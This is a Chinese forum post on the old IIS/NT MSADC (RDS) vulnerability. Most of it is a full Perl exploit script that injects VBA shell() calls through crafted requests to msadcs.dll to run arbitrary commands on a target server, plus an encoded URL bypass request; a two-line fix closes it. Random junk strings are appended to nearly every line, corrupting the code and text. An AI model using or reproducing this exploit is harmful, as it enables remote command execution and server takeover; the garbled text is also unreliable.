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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) `p^xdj}  
D>q?My  
涉及程序: 8\Z/mU*4  
Microsoft NT server O~#OVFJ9=  
5Ul=Nv]  
描述: 9c@\-Z'  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 lFM'F[-?-  
U &W}c^#  
详细: "l09Ae'V  
如果你没有时间读详细内容的话,就删除: w+ibY  
c:\Program Files\Common Files\System\Msadc\msadcs.dll YC~kq?  
有关的安全问题就没有了。 p7)b@,  
:}w^-I"  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 QN m.8c$  
\?.M1a[  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Uefw  
关于利用ODBC远程漏洞的描述,请参看: obIYC  
h@ ?BA<'S  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm myY@Wp  
3WdANR  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 9=^4p=1J  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp .l&<-l;UQ  
</d&bS  
这里不再论述。 Rh#TR"  
X=OJgyO/  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: aib)ItNb  
) /<\|mR  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset B,dKpz;kFg  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ODqWXw#  
6JL:p{RLi  
qg@Wzs7c~  
#将下面这段保存为txt文件,然后: "perl -x 文件名"  TBqJ.a  
s*pgR=dZZ  
#!perl "Q@ZS2;A  
# !tD,phca~  
# MSADC/RDS 'usage' (aka exploit) script 4mzWNr>fb  
# 7_#i,|]58  
# by rain.forest.puppy =i)k@w_(x  
# |2~fOyA+  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me >;@hA*<  
# beta test and find errors! 5zBsulRt  
s*j0uAq)up  
use Socket; use Getopt::Std; X[c8P7  
getopts("e:vd:h:XR", \%args); mI~k@!3  
)TcW.d6  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; $r=Ud >  
NLxsxomj  
if (!defined $args{h} && !defined $args{R}) { Q:B:  
print qq~ @v,qfT*k7  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Ot} E  
-h <host> = host you want to scan (ip or domain) sj@'C@oK  
-d <seconds> = delay between calls, default 1 second xcYYo'U  
-X = dump Index Server path table, if available ^m:?6y_uw  
-v = verbose ~m56t5+uw  
-e = external dictionary file for step 5 0TI+6u  
P}QuGy[  
Or a -R will resume a command session 8^N"D7{mO  
3E361?ubM  
~; exit;} =p)Wxk  
^*]0quu=z  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; |f0KIb}d  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} UI 7JMeV  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ?qQRA|n*  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Y<S,Xr;J:  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} @kLpK  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } `QlChxd  
0 .dSP$e  
if (!defined $args{R}){ $ret = &has_msadc; tXTa>Q  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} )LwB  
Mc6?]wDB]  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" AjZ@hid  
. "cmd /c "; JtU/%s  
$in=<STDIN>; chomp $in; i=<N4Vx  
$command="cmd /c " . $in ; b&Sk./ J6  
bg)yl iX  
if (defined $args{R}) {&load; exit;} ^8nK x<&5  
,wlh0;,  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; )S|}de/a2  
&try_btcustmr; bewi.$E{  
1qb 3.  
print "\nStep 2: Trying to make our own DSN..."; p' FYK|  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Bk 1Q.Un  
PU^Z7T);  
print "\nStep 3: Trying known DSNs..."; s!2pOH!u   
&known_dsn; h30~2]hH  
U:E:"  
print "\nStep 4: Trying known .mdbs..."; 0%^m  
&known_mdb; <c{RY.1[  
-_ [Z5%B  
if (defined $args{e}){ #$Z|)i]w  
print "\nStep 5: Trying dictionary of DSN names..."; ;Q2p~-0Q  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }  wYS,|=y  
$IQ  !g  
print "Sorry Charley...maybe next time?\n"; dHnId2@#  
exit; &Fl^&&1C  
@W^A%6"j  
############################################################################## 6;GL>))'  
Ng,#d`Br  
sub sendraw { # ripped and modded from whisker %97IXrE  
sleep($delay); # it's a DoS on the server! At least on mine... TUiXE~8=  
my ($pstr)=@_; t\]CdH`+  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || -C5Qh&~W  
die("Socket problems\n"); Tc`LY/%Od  
if(connect(S,pack "SnA4x8",2,80,$target)){ w8(qiU  
select(S); $|=1; _~DFZt@T  
print $pstr; my @in=<S>; ('xu2 ;<  
select(STDOUT); close(S); 'wX'}3_/g  
return @in; ^=wG#!#V"1  
} else { die("Can't connect...\n"); }} ~OEP)c\k  
vGC^1AM  
############################################################################## #uT-_L}s w  
?iUAzM8  
sub make_header { # make the HTTP request 8KW}XG  
my $msadc=<<EOT L;'+O u  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 r$6z{Na\[  
User-Agent: ACTIVEDATA #oi4!%*M  
Host: $ip ue$\ i=jw  
Content-Length: $clen .Lp0_R@  
Connection: Keep-Alive 0%+TU4Xx  
G;MgrA#\  
ADCClientVersion:01.06 <vA^%D<\~  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 hsljJvs  
}$;T.[ ~  
--!ADM!ROX!YOUR!WORLD! fdzD6K ZI  
Content-Type: application/x-varg >=i47-H  
Content-Length: $reqlen 2HMlh.R(C  
Srz.-,2PF  
EOT .)B_~tct  
; $msadc=~s/\n/\r\n/g; Q4Q*5>  
return $msadc;} q'M-a tE.  
/z,sM"d  
############################################################################## } CJQC  
q0w5ADd  
sub make_req { # make the RDS request O.1Z3~r-N  
my ($switch, $p1, $p2)=@_; w-|i8%X  
my $req=""; my $t1, $t2, $query, $dsn; aIZ@5w"7  
z8= Gc$w!  
if ($switch==1){ # this is the btcustmr.mdb query >OwVNG  
$query="Select * from Customers where City=" . make_shell(); ID5?x8o#k  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . * KFsO1j  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} !/['wv@  
W<B8PS$  
elsif ($switch==2){ # this is general make table query /U6G?3b  
$query="create table AZZ (B int, C varchar(10))"; 5 8p_b  
$dsn="$p1";} _pKW($\  
*n2Q_o  
elsif ($switch==3){ # this is general exploit table query yI bz\3  
$query="select * from AZZ where C=" . make_shell(); M0x5s@  
$dsn="$p1";} o 1#XM/Z  
sN 7I~  
elsif ($switch==4){ # attempt to hork file info from index server _4rb7"b1  
$query="select path from scope()"; L;5j hVy  
$dsn="Provider=MSIDXS;";} co<){5zOT  
7vcYI#(2 Y  
elsif ($switch==5){ # bad query QM9~O#rL  
$query="select"; < 7zyRm@S  
$dsn="$p1";} g^ ^%4Y  
+:~&"U^ z&  
$t1= make_unicode($query); @iy ^a  
$t2= make_unicode($dsn); jfS?#;T)  
$req = "\x02\x00\x03\x00"; i,FG?\x@  
$req.= "\x08\x00" . pack ("S1", length($t1)); _ts0@Z_:  
$req.= "\x00\x00" . $t1 ; lyIstfRh15  
$req.= "\x08\x00" . pack ("S1", length($t2)); _$wWKJy9  
$req.= "\x00\x00" . $t2 ; i?'HVx  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; &m4 \"X@  
return $req;} M,t8<y4 W/  
@"kA&=0;|J  
############################################################################## djPr 4Nog  
v (=fV/  
sub make_shell { # this makes the shell() statement rNqJL_!  
return "'|shell(\"$command\")|'";} nV McHN   
=q^o6{d0"  
############################################################################## =5%jKHo+9z  
~5`rv1$  
sub make_unicode { # quick little function to convert to unicode "(/|[7D)  
my ($in)=@_; my $out; l?a(=  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ?qw&H /R  
return $out;} q uv`~qn  
%zd1\We  
############################################################################## PFG):i-?  
Z,,Da|edH  
sub rdo_success { # checks for RDO return success (this is kludge) o]MQ)\ r  
my (@in) = @_; my $base=content_start(@in); }%y_Lc L  
if($in[$base]=~/multipart\/mixed/){ xh @H@Q\  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} t_3)}  
return 0;} zScV 9,H1  
@+ Berb  
############################################################################## Otn,(j;u  
k^]+I% ?Q  
sub make_dsn { # this makes a DSN for us T6Ue\Sp'  
my @drives=("c","d","e","f"); _xAdvr' W  
print "\nMaking DSN: "; mv SNKS  
foreach $drive (@drives) { KHcf P7  
print "$drive: "; {.H}+@0  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . |vTirZP  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" .-`7Av+7  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); K,|Gtaa~  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; s3_i5,y  
return 0 if $2 eq "404"; # not found/doesn't exist 2[9hl@=%  
if($2 eq "200") { Trbgg  
foreach $line (@results) { (Y, @-V  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 11X-X  
} return 0;} y$*Tbzp  
/.$n>:XR  
############################################################################## @6 gA4h  
!F;W#Gc  
sub verify_exists { 0$}+tq+  
my ($page)=@_; uc=-+*D'I  
my @results=sendraw("GET $page HTTP/1.0\n\n"); X  LA  
return $results[0];} W5_t/_EWD  
6peO9]Zy  
############################################################################## Nh]eZ3O  
a%;$l_wVT:  
sub try_btcustmr { u~1[nH:  
my @drives=("c","d","e","f"); g}$]K! F  
my @dirs=("winnt","winnt35","winnt351","win","windows"); !z(POK  
bW3e*O$V  
foreach $dir (@dirs) { Bu>srX9f  
print "$dir -> "; # fun status so you can see progress #?!)-Q%  
foreach $drive (@drives) { \P}~ICZA  
print "$drive: "; # ditto vsqfvx  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; "]*0)h_  
$reqlenlen=length( "$reqlen" ); S=krF yFw  
$clen= 206 + $reqlenlen + $reqlen; exTpy  
eO (VSjo'`  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); @5acTY Q  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 9!_`HE+(XJ  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} sA3 4`ZAa  
~6kEpa  
############################################################################## R7ZxS  
!(uyqplTk  
sub odbc_error { ,Ztj  
my (@in)=@_; my $base; ["MF-tQ5  
my $base = content_start(@in); 22}J.'Zb  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this G0CmY43  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; _s|C0Pt  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ~hE"B) e  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; tE3!;  
return $in[$base+4].$in[$base+5].$in[$base+6];} -AD3Pd|Y[  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ;8|uY%ab  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . p!|Wp  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} >Ah [uM  
B6MMn.  
############################################################################## ysGK5kFz  
asj^K|.z  
sub verbose { O6Xu/X]  
my ($in)=@_; 4}W*,&_  
return if !$verbose; d01bt$8>  
print STDOUT "\n$in\n";} 4@/[aFH  
t$]lK6  
############################################################################## |M)'@s:  
BtVuI5*h  
sub save { _+ oX9  
my ($p1, $p2, $p3, $p4)=@_; nI|jUD +y  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; rVt6tx  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; db@i*Bf  
close OUT;} h.sH:]Z  
o" &7$pAh  
############################################################################## XlV#)JX  
$;@^coz9U  
sub load { LUHj3H  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; =>)l6**UE  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); dF5EIPl;J  
@p=<IN>; close(IN); TW{.qed8^  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); HB||'gIC  
$target= inet_aton($ip) || die("inet_aton problems"); \P^WUWY  
print "Resuming to $ip ..."; eqZ V/a  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; #=OKY@z/  
if($p[1]==1) { :nC Gqg  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; xl5mI~n_~  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; |@sUN:G4k  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); CS:j->  
if (rdo_success(@results)){print "Success!\n";} k9 .@S  
else { print "failed\n"; verbose(odbc_error(@results));}} 52C>f6w  
elsif ($p[1]==3){ `rbTB3?  
if(run_query("$p[3]")){ C6M|A3^T  
print "Success!\n";} else { print "failed\n"; }} crz )F"  
elsif ($p[1]==4){ i"0^Gr  
if(run_query($drvst . "$p[3]")){ :JV= Kt  
print "Success!\n"; } else { print "failed\n"; }} Owo2DsT t  
exit;} |k^'}n  
=v:vc~G6  
############################################################################## ht (RX  
*_!nil3(i  
sub create_table { pTprU)sa7  
my ($in)=@_; ltwX-   
$reqlen=length( make_req(2,$in,"") ) - 28; aiF7\^aw$  
$reqlenlen=length( "$reqlen" ); -ce N}Cb3  
$clen= 206 + $reqlenlen + $reqlen; r0+lH:G*q  
my @results=sendraw(make_header() . make_req(2,$in,"")); g`d5OHvO o  
return 1 if rdo_success(@results); ; "ux{ .  
my $temp= odbc_error(@results); verbose($temp); 0 x4Xs  
return 1 if $temp=~/Table 'AZZ' already exists/; K``MS  
return 0;} )U`6` &F  
\5_+6  
############################################################################## 3 i Id>  
(]w_}E]N  
sub known_dsn { Dwj!B;AZ_  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go "4<RMYQ  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Qo4]_,kR  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", po4seW!  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); re2M!m6k5  
4`I2tr  
foreach $dSn (@dsns) { FDbb/6ku  
print "."; %\6|fKB4 <  
next if (!is_access("DSN=$dSn")); :rk=(=@8`  
if(create_table("DSN=$dSn")){ n!2"pRIi  
print "$dSn successful\n"; 3%bCv_6B  
if(run_query("DSN=$dSn")){ )M<"YI)g  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { yAy~|1}  
print "Something's borked. Use verbose next time\n";}}} print "\n";} W-qec  
Qj.]I0d  
############################################################################## MRR5j;4GK  
!g  #  
sub is_access { jV2L;APCq  
my ($in)=@_; :1^ R$0d  
$reqlen=length( make_req(5,$in,"") ) - 28; $A;jl`ng  
$reqlenlen=length( "$reqlen" ); UOJx-o!c?  
$clen= 206 + $reqlenlen + $reqlen; 3k.{gAZKh  
my @results=sendraw(make_header() . make_req(5,$in,"")); n sKl3}uU  
my $temp= odbc_error(@results); [<\k  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 8UJK]_99I,  
return 0;} q_bE?j{  
VUpa^R  
############################################################################## P^&%T?Y6z  
)h]~< fU  
sub run_query { ^I4'7]n-  
my ($in)=@_; # ` Q3Z}C  
$reqlen=length( make_req(3,$in,"") ) - 28; ;IZ*o<_  
$reqlenlen=length( "$reqlen" ); 2&MIt(\-  
$clen= 206 + $reqlenlen + $reqlen; Y,w'Op  
my @results=sendraw(make_header() . make_req(3,$in,"")); ##+|zka!U  
return 1 if rdo_success(@results); IFcxyp  
my $temp= odbc_error(@results); verbose($temp); 8n+&tBq1  
return 0;} \3JZ =/  
m \o<a|  
############################################################################## %X7R_>.   
K+ZJSfO6  
sub known_mdb { dw#K!,g  
my @drives=("c","d","e","f","g"); #?\$*@O  
my @dirs=("winnt","winnt35","winnt351","win","windows"); N[~{'i  
my $dir, $drive, $mdb; Xb?:dlu3  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; $&& mGD;?K  
dn(I$K8  
# this is sparse, because I don't know of many [EI~/#;  
my @sysmdbs=( "\\catroot\\icatalog.mdb", }{T9`^V:h  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", %sxLxx_x!  
"\\system32\\certmdb.mdb", 7r;7'X5  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% eG&\b-%  
d3-F?i 5d  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", *`2.WF@E)  
"\\cfusion\\cfapps\\forums\\forums_.mdb", =lT~  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", $mdmuUIy-3  
"\\cfusion\\cfapps\\security\\realm_.mdb", Y)#x(s?t  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", zmH8^:-x  
"\\cfusion\\database\\cfexamples.mdb",  ?QxI2J  
"\\cfusion\\database\\cfsnippets.mdb", QZ?#ixvJ  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",  ;wo  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", POvxZU  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 8=QOp[w   
"\\cfusion\\database\\smpolicy.mdb", /kV3[Rw+  
"\\cfusion\\database\cypress.mdb", z"#iG&>a,  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 2-!OflkoM0  
"\\website\\cgi-win\\dbsample.mdb", Z/-9G  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", mApn[)?tv  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Tzr_K  
); #these are just Loz5[L  
foreach $drive (@drives) { gZA[Sq  
foreach $dir (@dirs){ aF*KY<w  
foreach $mdb (@sysmdbs) { sB!#`kh  
print "."; L7i2is  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ;iT@41)7  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; \9"   
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ KuBN_bd  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 4'3do>!  
} else { print "Something's borked. Use verbose next time\n"; }}}}} loRT+u$&  
X$*MxMNs  
foreach $drive (@drives) { Pq\ `0/4_  
foreach $mdb (@mdbs) { kY>jp@w V  
print "."; mzw`{Oy>L  
if(create_table($drv . $drive . $dir . $mdb)){ e&~vO| 3w%  
print "\n" . $drive . $dir . $mdb . " successful\n"; LGnb"ZN  
if(run_query($drv . $drive . $dir . $mdb)){ Kny0 (  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; eTg8I/ )%B  
} else { print "Something's borked. Use verbose next time\n"; }}}} "/e_[_j  
} (LiS9|J!  
:ohGG ,`Dh  
############################################################################## a ?D]]0%  
zT<fTFJ1  
sub hork_idx { I=aoP}_  
print "\nAttempting to dump Index Server tables...\n"; .8o?`  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; h/oRWl0r  
$reqlen=length( make_req(4,"","") ) - 28; MB7UI8  
$reqlenlen=length( "$reqlen" ); ~6{iQZa1Y  
$clen= 206 + $reqlenlen + $reqlen; uqz HS>GM  
my @results=sendraw2(make_header() . make_req(4,"","")); rU6F$I=  
if (rdo_success(@results)){ C@x\ZG5rA  
my $max=@results; my $c; my %d; gB7kb$J  
for($c=19; $c<$max; $c++){ v C23  
$results[$c]=~s/\x00//g; ),{v  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; r ^=rs!f@  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; EPEWyGw  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 8y:/!rRN  
$d{"$1$2"}="";} 7gWT[  
foreach $c (keys %d){ print "$c\n"; } j1zrjhXI  
} else {print "Index server doesn't seem to be installed.\n"; }} jY;T:C-T  
Wd`*<+t]  
############################################################################## cNbH:r"Ay  
oW}nr<G{<  
sub dsn_dict { 7eNLs  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); mM9aT0_w  
while(<IN>){ [^Z)f<l  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 2[!3!@.  
next if (!is_access("DSN=$dSn")); u+/Uc:XK)  
if(create_table("DSN=$dSn")){ {c  : 7:  
print "$dSn successful\n"; n?KhBJx 4  
if(run_query("DSN=$dSn")){ q ~%'V  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 4nsc`Hu  
print "Something's borked. Use verbose next time\n";}}} n!aA<  
print "\n"; close(IN);} P"(VRc6x  
45.<eWH$*(  
############################################################################## ,(u-q]8   
]?< wUd  
sub sendraw2 { # ripped and modded from whisker DC samOA~  
sleep($delay); # it's a DoS on the server! At least on mine... Z8Iqgz7|y  
my ($pstr)=@_; v)p'0F#6A  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || !dQmg'_V  
die("Socket problems\n"); nxWm  
if(connect(S,pack "SnA4x8",2,80,$target)){ @4t_cxmD  
print "Connected. Getting data"; 7vo8lnQ{  
open(OUT,">raw.out"); my @in; 4,,DA2^!  
select(S); $|=1; print $pstr; %p48=|+  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} H(hE;|q/  
close(OUT); select(STDOUT); close(S); return @in; &\>=4)HB;  
} else { die("Can't connect...\n"); }} }/w]+f*  
m?< ^b_a}  
############################################################################## ~8 B]  
f+ cN'jH E  
sub content_start { # this will take in the server headers |}7!'f\M  
my (@in)=@_; my $c; ]'NL-8x">  
for ($c=1;$c<500;$c++) { A"e4w?  
if($in[$c] =~/^\x0d\x0a/){ p4F%FS:`  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } F?z:[1(:  
else { return $c+1; }}} $7QGi|W*k  
return -1;} # it should never get here actually l k sNy  
eMV{rFmT  
############################################################################## k vpkWD;  
ZaBmH|k  
sub funky { qzj.N$9]  
my (@in)=@_; my $error=odbc_error(@in); yhkKakg,)  
if($error=~/ADO could not find the specified provider/){ o;9 G{Xj3@  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; o)bKs>` U  
exit;} SK5_^4  
if($error=~/A Handler is required/){ 1> v(&;K  
print "\nServer has custom handler filters (they most likely are patched)\n"; <{+U- ^rzR  
exit;} w%?Zb[!&  
if($error=~/specified Handler has denied Access/){ Z%Pv,h'Q  
print "\nServer has custom handler filters (they most likely are patched)\n"; zfD@/kU  
exit;}} &cWC&Ws"  
GlHP`&;UH  
############################################################################## mm9uhlV8  
=F2`X#x_j  
sub has_msadc { {?;qy\m]o  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); `;=-71Gn~  
my $base=content_start(@results); p[O\}MAd#  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 86pA+c+U  
return 0;} g~ii^[W  
%aI,K0\  
######################## i zYC0T9  
ken.#>w  
SiYH@Wma  
解决方案: P L7(0b%  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll QuP)j1"X  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 Kx?.g#>U;  
id588Y78  
拿出来充数 哈哈
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